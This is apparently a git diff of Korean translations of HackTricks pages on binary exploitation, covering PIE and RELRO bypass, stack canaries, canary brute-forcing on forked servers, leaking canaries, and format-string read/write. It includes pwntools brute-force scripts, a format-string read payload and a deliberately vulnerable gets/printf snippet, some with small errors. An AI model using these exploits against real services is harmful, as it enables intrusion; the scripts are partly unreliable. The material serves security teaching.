또는 이를 이용하여, 주소가 **`0x649e1024`**에 위치한다는 것을 노출하면 **기본 주소가 `0x649e1000`**임을 알 수 있고, 거기서 함수와 위치의 **오프셋을 계산**할 수 있습니다.
## 우회 방법
PIE를 우회하기 위해서는 **로드된 이진 파일의 주소를 노출**해야 합니다. 이를 위한 몇 가지 옵션이 있습니다:
* 노출을 **받은** 경우 (쉬운 CTF 도전 과제에서 일반적, [**이 예제**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)를 확인하세요)
* 스택에서 **올바른 주소를 노출할 때까지 EBP 및 EIP 값을 무차별 대입**:
{% content-ref url="bypassing-canary-and-pie.md" %}
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
{% endcontent-ref %}
* 이진 파일의 주소를 노출하기 위해 [**format string**](../../format-strings/)과 같은 임의 읽기 취약점을 사용 (예: 이전 기술에서와 같이 스택에서)하여 바이너리의 기본을 얻고 거기서 오프셋을 사용합니다. [**여기에서 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## 참고 자료
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나** **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
</details>

View file

@ -0,0 +1,110 @@
# 스택 내의 BF 주소
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
</details>
**캐너리와 PIE (Position Independent Executable)로 보호된 이진 파일을 다루고 있다면 아마도 이를 우회해야 할 필요가 있을 것입니다.**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
**`checksec`**가 이진 파일이 캐너리로 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.\
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우, 이를 수동으로 알아차릴 수 있습니다.
{% endhint %}
## 브루트포스 주소
PIE를 우회하려면 **어떤 주소를 노출**해야 합니다. 이진 파일이 어떤 주소도 노출하지 않는 경우 취약한 함수에서 스택에 저장된 **RBP와 RIP를 브루트포스**하는 것이 가장 좋습니다.\
예를 들어, 이진 파일이 **캐너리**와 **PIE**를 사용하여 보호되어 있다면, 먼저 캐너리를 브루트포스한 다음 **다음** 8바이트(x64)는 저장된 **RBP**이고 **다음** 8바이트는 저장된 **RIP**일 것입니다.
{% hint style="success" %}
스택 내의 반환 주소는 주로 취약점이 이진 코드에 있는 경우에 해당하는 주요 이진 코드에 속한다고 가정됩니다.
{% endhint %}
이진 파일에서 RBP와 RIP를 브루트포스하기 위해 유효한 추측된 바이트가 올바른지 확인하려면 프로그램이 출력되거나 충돌하지 않는지 확인할 수 있습니다. 캐너리를 브루트포스하는 데 사용된 **동일한 함수**를 사용하여 RBP와 RIP를 브루트포스할 수 있습니다:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
마지막으로 PIE를 무력화하기 위해 필요한 것은 유출된 주소에서 유용한 주소를 계산하는 것입니다: RBP와 RIP입니다.
RBP에서는 스택 내에 셸을 작성하는 위치를 계산할 수 있습니다. 이는 스택 내부에 문자열 "/bin/sh\x00"을 작성할 위치를 파악하는 데 매우 유용합니다. 유출된 RBP와 셸코드 간의 거리를 계산하려면 유출된 RBP 이후에 중단점을 설정하고 셸코드가 위치한 곳을 확인한 후 셸코드와 RBP 간의 거리를 계산할 수 있습니다:
```python
INI_SHELLCODE = RBP - 1152
```
**RIP**에서 **PIE 이진 파일의 베이스 주소**를 계산할 수 있으며, 이는 **유효한 ROP 체인을 생성하는 데 필요**합니다.\
베이스 주소를 계산하려면 `objdump -d vunbinary`를 실행하고 최신 주소를 확인하십시오:
![](<../../../../.gitbook/assets/image (145).png>)
이 예에서는 모든 코드를 찾기 위해 **1바이트와 반**만 필요하다는 것을 알 수 있습니다. 따라서 이 상황에서의 베이스 주소는 **"000"으로 끝나는 노출된 RIP**일 것입니다. 예를 들어, `0x562002970ecf`가 노출되었다면 베이스 주소는 `0x562002970000`이 됩니다.
```python
elf.address = RIP - (RIP & 0xfff)
```
<details>
<summary><strong>제로부터 히어로가 되는 방법으로 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
* 만약 **회사가 HackTricks에 광고되길 원한다면** 또는 **HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **당신의 해킹 기술을 공유하세요.** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
</details>

View file

@ -0,0 +1,39 @@
# Relro
<details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법:
- **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
- **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## Relro
**RELRO**는 **Relocation Read-Only**의 약자로, **GOT (Global Offset Table) 덮어쓰기와 관련된 위험을 완화하기 위해 이진 파일에서 사용되는 보안 기능입니다. 이 개념을 명확하게 이해하기 위해 두 가지 유형으로 나누어 살펴보겠습니다: **Partial RELRO**와 **Full RELRO**.
### **Partial RELRO**
**Partial RELRO**는 이진 파일의 성능에 큰 영향을 미치지 않으면서 보안을 강화하는 간단한 접근 방식을 취합니다. **메모리 내 프로그램 변수 위에 GOT를 배치함으로써 Partial RELRO는 버퍼 오버플로우가 GOT에 도달하여 GOT를 손상시키는 것을 방지하려고 합니다.**
이로 인해 **임의 쓰기 취약점에서 GOT가 악용되는 것을 방지하지는 않습니다.**
### **Full RELRO**
**Full RELRO**는 **GOT를 완전히 읽기 전용으로 만들어** 보호를 강화합니다. 이진 파일이 시작되면 모든 함수 주소가 해결되어 GOT에 로드되고, 그런 다음 GOT가 읽기 전용으로 표시되어 실행 중에 이에 대한 수정을 효과적으로 방지합니다.
그러나 Full RELRO의 단점은 성능 및 시작 시간 측면에서 발생합니다. Full RELRO를 활성화하면 GOT를 읽기 전용으로 표시하기 전에 시작 시 모든 동적 심볼을 해결해야 하므로 **Full RELRO가 활성화된 이진 파일은 더 긴 로드 시간을 경험할 수 있습니다.** 이 추가적인 시작 오버헤드로 인해 Full RELRO는 모든 이진 파일에서 기본적으로 활성화되지 않습니다.
이진 파일에서 Full RELRO가 활성화되어 있는지 확인할 수 있습니다:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## 우회
만약 Full RELRO가 활성화되어 있다면, 우회하는 유일한 방법은 임의의 실행을 얻기 위해 GOT 테이블에 쓰지 않아도 되는 다른 방법을 찾는 것입니다.

View file

@ -0,0 +1,61 @@
# 스택 카나리
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
</details>
## **StackGuard 및 StackShield**
**StackGuard**는 **EIP (Extended Instruction Pointer)** 앞에 `0x000aff0d` (null, newline, EOF, carriage return을 나타냄)와 같은 특별한 값을 삽입하여 버퍼 오버플로우에 대비하기 위해 **카나리**를 삽입합니다. 그러나 `recv()`, `memcpy()`, `read()`, `bcopy()`와 같은 함수는 취약하며 **EBP (Base Pointer)**를 보호하지 않습니다.
**StackShield**는 **전역 반환 스택**을 유지함으로써 StackGuard보다 더 정교한 접근 방식을 취합니다. 이 스택은 모든 반환 주소 (**EIPs**)를 저장하며 오버플로우가 피해를 입히지 않도록 합니다. 이는 저장된 실제 반환 주소와 비교하여 오버플로우 발생을 감지하는 것을 허용합니다. 또한 StackShield는 반환 주소를 경계 값과 비교하여 **EIP**가 예상 데이터 공간 외부를 가리키는지 감지할 수 있습니다. 그러나 이 보호 기능은 Return-to-libc, ROP (Return-Oriented Programming), 또는 ret2ret과 같은 기술을 통해 우회될 수 있으며, 이는 StackShield가 로컬 변수를 보호하지 않음을 의미합니다.
## **스택 스매시 프로텍터 (ProPolice) `-fstack-protector`:**
이 메커니즘은 **EBP** 앞에 **카나리**를 배치하고 버퍼가 다른 변수를 덮어쓰지 못하도록 로컬 변수를 재배치하여 버퍼를 더 높은 메모리 주소에 배치합니다. 또한 스택에 전달된 인수를 안전하게 복사하고 이 복사본을 인수로 사용합니다. 그러나 8개 미만의 요소를 가진 배열이나 사용자 구조체 내의 버퍼를 보호하지 않습니다.
**카나리**는 `/dev/urandom`에서 파생된 무작위 숫자이거나 기본 값인 `0xff0a0000`입니다. 이는 **TLS (Thread Local Storage)**에 저장되어 스레드 간에 공유 메모리 공간을 가질 수 있도록 합니다. 이러한 변수들은 초기에 부모 프로세스에서 복사되며, 자식 프로세스는 부모나 형제에 영향을 주지 않고 데이터를 변경할 수 있습니다. 그러나 **새로운 카나리를 생성하지 않고 `fork()`를 사용하는 경우 모든 프로세스(부모 및 자식)가 동일한 카나리를 공유**하므로 취약해집니다. **i386** 아키텍처에서 카나리는 `gs:0x14`에 저장되고, **x86\_64**에서는 `fs:0x28`에 저장됩니다.
이 로컬 보호는 공격에 취약한 버퍼를 가진 함수를 식별하고 이러한 함수의 시작 부분에 코드를 삽입하여 카나리를 배치하고 무결성을 확인하는 방식으로 작동합니다.
웹 서버가 `fork()`를 사용하는 경우, 카나리를 한 바이트씩 추측하는 브루트 포스 공격을 활성화할 수 있습니다. 그러나 `fork()``execve()`를 사용하면 메모리 공간이 덮어쓰여 공격이 무효화됩니다. `vfork()`는 쓰기 시까지 자식 프로세스가 복제 없이 실행되도록 하며, 쓰기를 시도하면 복제가 생성되어 프로세스 생성 및 메모리 처리에 대한 다른 접근 방식을 제공합니다.
## 우회
**카나리를 유출**하고 그 값을 덮어쓰기(예: 버퍼 오버플로우)하는 방법.
* **자식 프로세스에서 카나리가 생성**된 경우 한 번에 한 바이트씩 **브루트 포스**할 수 있습니다:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
{% endcontent-ref %}
* 이진 파일에서 흥미로운 유출 취약점이 있는 경우 유출할 수 있습니다:
{% content-ref url="print-stack-canary.md" %}
[print-stack-canary.md](print-stack-canary.md)
{% endcontent-ref %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
</details>

View file

@ -0,0 +1,117 @@
# BF 포크된 스택 카나리
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details>
**카나리와 PIE (Position Independent Executable)로 보호된 이진 파일을 직면하고 있다면 아마도 이를 우회해야 할 방법을 찾아야 할 것입니다.**
![](<../../../../.gitbook/assets/image (144).png>)
{% hint style="info" %}
**`checksec`**가 이진 파일이 보호되어 있는지 찾지 못할 수 있습니다. 이는 정적으로 컴파일되었고 함수를 식별할 수 없는 경우입니다.\
그러나 함수 호출 시작 시 스택에 값이 저장되고 이 값이 종료 전에 확인되는 경우 이를 수동으로 알 수 있습니다.
{% endhint %}
## 브루트 포스 카나리
간단한 카나리를 우회하는 가장 좋은 방법은 이진 파일이 **새로운 연결을 설정할 때마다 자식 프로세스를 생성하는 프로그램인 경우** (네트워크 서비스), **매번 연결할 때 동일한 카나리가 사용**될 것이기 때문입니다.
그럼으로 카나리를 우회하는 가장 좋은 방법은 **문자별로 브루트 포스**하는 것이며, 추측한 카나리 바이트가 올바른지 확인하는 방법은 프로그램이 충돌했는지 또는 정상적인 흐름을 계속하는지 확인하는 것입니다. 이 예제에서는 **8바이트 카나리 (x64)**를 브루트 포스하고 올바른 추측 바이트와 잘못된 바이트를 구분하는 방법을 보여줍니다. **서버가 응답을 보내는지 확인**하는 것입니다 (다른 상황에서는 **try/except**를 사용할 수도 있음):
### 예제 1
이 예제는 64비트용으로 구현되었지만 32비트용으로 쉽게 구현할 수 있습니다.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### 예제 2
이는 32비트용으로 구현되었지만 쉽게 64비트로 변경할 수 있습니다.\
또한 이 예제에서는 **프로그램이 먼저 입력의 크기를 나타내는 바이트를 예상**합니다.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```

View file

@ -0,0 +1,49 @@
# 스택 캐너리 출력
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details>
## 출력된 스택 확대
**스택 오버플로우 취약한 프로그램**이 **puts** 함수를 **스택 오버플로우의 일부를 가리키도록 실행**할 수 있는 상황을 상상해보세요. 공격자는 **캐너리의 첫 번째 바이트가 널 바이트**(`\x00`)이고 나머지 캐너리는 **랜덤** 바이트임을 알고 있습니다. 그럼 공격자는 **오버플로우를 생성하여 캐너리의 첫 번째 바이트만 남을 때까지 스택을 덮어씁니다**.
그런 다음, 공격자는 **페이로드 중간에 있는 puts 기능을 호출**하여 캐너리를 제외한 모든 캐너리를 출력합니다(첫 번째 널 바이트 제외).
이 정보를 통해 공격자는 캐너리를 알고(동일한 프로그램 세션에서) 새로운 공격을 만들어 보낼 수 있습니다.
물론, 이 전술은 공격자가 **페이로드 내용을 출력하여 캐너리를 유출**하고 그런 다음 **(동일한 프로그램 세션에서) 새로운 페이로드를 생성**하고 **실제 버퍼 오버플로우를 보낼 수 있어야 한다는** 제한이 있습니다.
**CTF 예시:** [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
## 임의 읽기
format **strings**에 의해 제공되는 임의 읽기로 캐너리를 누설할 수 있습니다. 다음 예제를 확인하세요: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) 및 다음에서 임의 메모리 주소를 읽기 위해 format strings를 남용하는 방법을 읽을 수 있습니다:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
{% endcontent-ref %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 히어로까지 AWS 해킹을 배우세요</strong>!</summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
</details>

View file

@ -2,23 +2,23 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 홍보**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**해주세요.
</details>
## 기본 정보
C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체******입니다.
C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **포매터가 있는 원시 텍스트**입니다. 기대되는 **다음 매개변수**는 원시 텍스트에서 **포매터를 대체할 값**입니다.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 들어갈 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **임의의 데이터를 임의의 주소에 쓸 수 있게**하는 **특수 입력을 조작**할 수 있습니다. 이렇게 함으로써 **임의의 코드를 실행**할 수 있게 됩니다.
취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 포맷 문자열 기능을 악용**하여 **모든 주소의 데이터를 읽고 쓸 수 있는 특수 입력을 만들어** 임의 코드를 실행할 수 있습니다.
포매터:
#### 포맷터:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -28,51 +28,135 @@ C 언어에서 **`printf`**는 **문자열을 출력**하는 데 사용할 수
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`**은 **지정된 주소에 쓰여진 바이트 수**를 **작성**합니다. 쓰여져야 하는 **16진수 숫자만큼 바이트를 쓰는 것**이 원하는 **데이터를 쓰는 방법**입니다.
**예시:**
* 취약한 예제:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* 일반적인 사용:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* 누락된 인수가 있는 경우:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
### **포인터 접근**
형식 **`%<n>$x`**, 여기서 `n`은 숫자로, printf에게 n번째 매개변수(스택에서)를 선택하도록 지시할 수 있습니다. 따라서 printf를 사용하여 스택에서 4번째 매개변수를 읽고 싶다면 다음을 수행할 수 있습니다:
```c
printf("%x %x %x %x")
```
그리고 첫 번째부터 네 번째 매개변수까지 읽을 수 있습니다.
또는 다음을 수행할 수 있습니다:
```c
printf("$4%x")
```
## 임의의 주소 읽기
현재 위치에서 n번째에 있는 주소를 가져와서 해당 주소부터 0x00을 발견할 때까지 문자열로 출력할 수 있도록 **`$n%s`** 포맷터를 사용할 수 있습니다. 따라서 이진 파일의 기본 주소가 **`0x8048000`**이고 사용자 입력이 스택의 4번째 위치에서 시작한다는 것을 알고 있다면 다음과 같이 이진 파일의 시작 부분을 출력할 수 있습니다:
```python
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
주소 0x8048000을 입력의 시작 부분에 넣을 수 없습니다. 왜냐하면 해당 주소의 끝에 0x00이 연결될 것입니다.
{% endhint %}
## **임의 쓰기**
포맷터 **`$<num>%n`**은 스택의 \<num> 매개변수에 **쓰여진 바이트 수**를 **지정된 주소**에 **쓰기**합니다. 공격자가 printf로 원하는만큼 문자를 쓸 수 있다면, **`$<num>%n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있습니다.
다행히도, 숫자 9999를 쓰기 위해서는 입력에 9999개의 "A"를 추가할 필요가 없습니다. 대신, **`%.<num-write>%<num>$n`** 포맷터를 사용하여 **`<num-write>`** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다.
```bash
